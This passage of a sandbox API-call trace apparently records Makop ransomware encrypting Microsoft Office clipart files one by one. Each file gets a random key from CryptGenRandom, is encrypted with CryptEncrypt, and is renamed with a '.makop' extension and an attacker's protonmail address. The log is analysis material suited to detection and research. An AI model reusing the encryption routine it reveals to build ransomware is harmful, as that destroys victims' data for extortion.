lpNumberOfBytesRead=0x6577ab4*=0x13ec, lpOverlapped=0x0) returned 1 [0126.175] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13f0) returned 1 [0126.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.176] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13f0, lpOverlapped=0x0) returned 1 [0126.176] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.176] SetEndOfFile (hFile=0xf0) returned 1 [0126.183] GetProcessHeap () returned 0x48a0000 [0126.183] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.183] GetProcessHeap () returned 0x48a0000 [0126.183] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.183] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.185] CloseHandle (hObject=0xf0) returned 1 [0126.185] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1 [0126.185] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0126.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.186] GetProcessHeap () returned 0x48a0000 [0126.186] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.186] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0126.287] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.287] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.287] GetProcessHeap () returned 0x48a0000 [0126.287] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.287] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.287] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.287] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.288] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.288] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.288] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.288] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.288] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.288] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.288] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6196, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6196, lpOverlapped=0x0) returned 1 [0126.290] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x61a0, dwBufLen=0x61a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x61a0) returned 1 [0126.290] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.290] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x61a0, lpOverlapped=0x0) returned 1 [0126.291] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.291] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.291] SetEndOfFile (hFile=0xf0) returned 1 [0126.298] GetProcessHeap () returned 0x48a0000 [0126.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.298] GetProcessHeap () returned 0x48a0000 [0126.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.298] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.300] CloseHandle (hObject=0xf0) returned 1 [0126.300] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1 [0126.300] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0126.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.301] GetProcessHeap () returned 0x48a0000 [0126.301] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.301] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.301] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0126.306] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.306] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.306] GetProcessHeap () returned 0x48a0000 [0126.306] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.306] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.306] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.306] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.306] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.306] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.307] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.307] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.307] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.307] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.307] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb57d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb57d, lpOverlapped=0x0) returned 1 [0126.309] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb580, dwBufLen=0xb580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb580) returned 1 [0126.310] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.310] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb580, lpOverlapped=0x0) returned 1 [0126.310] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.311] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.311] SetEndOfFile (hFile=0xf0) returned 1 [0126.318] GetProcessHeap () returned 0x48a0000 [0126.318] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.318] GetProcessHeap () returned 0x48a0000 [0126.318] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.318] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.320] CloseHandle (hObject=0xf0) returned 1 [0126.320] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1 [0126.320] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0126.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.321] GetProcessHeap () returned 0x48a0000 [0126.322] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.322] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.322] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.322] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.391] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.391] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.391] GetProcessHeap () returned 0x48a0000 [0126.392] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.392] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.392] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.392] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.392] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.392] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.392] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.393] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.393] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.393] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.393] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x38d8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x38d8, lpOverlapped=0x0) returned 1 [0126.396] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x38e0, dwBufLen=0x38e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x38e0) returned 1 [0126.396] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.396] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x38e0, lpOverlapped=0x0) returned 1 [0126.396] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.396] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x39b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.396] SetEndOfFile (hFile=0xf0) returned 1 [0126.403] GetProcessHeap () returned 0x48a0000 [0126.403] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.403] GetProcessHeap () returned 0x48a0000 [0126.404] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.404] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.405] CloseHandle (hObject=0xf0) returned 1 [0126.406] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1 [0126.406] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0126.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.408] GetProcessHeap () returned 0x48a0000 [0126.408] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.408] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.408] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.408] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0126.412] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.413] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.413] GetProcessHeap () returned 0x48a0000 [0126.413] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.413] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.413] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.413] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.413] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.414] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.414] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.414] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, 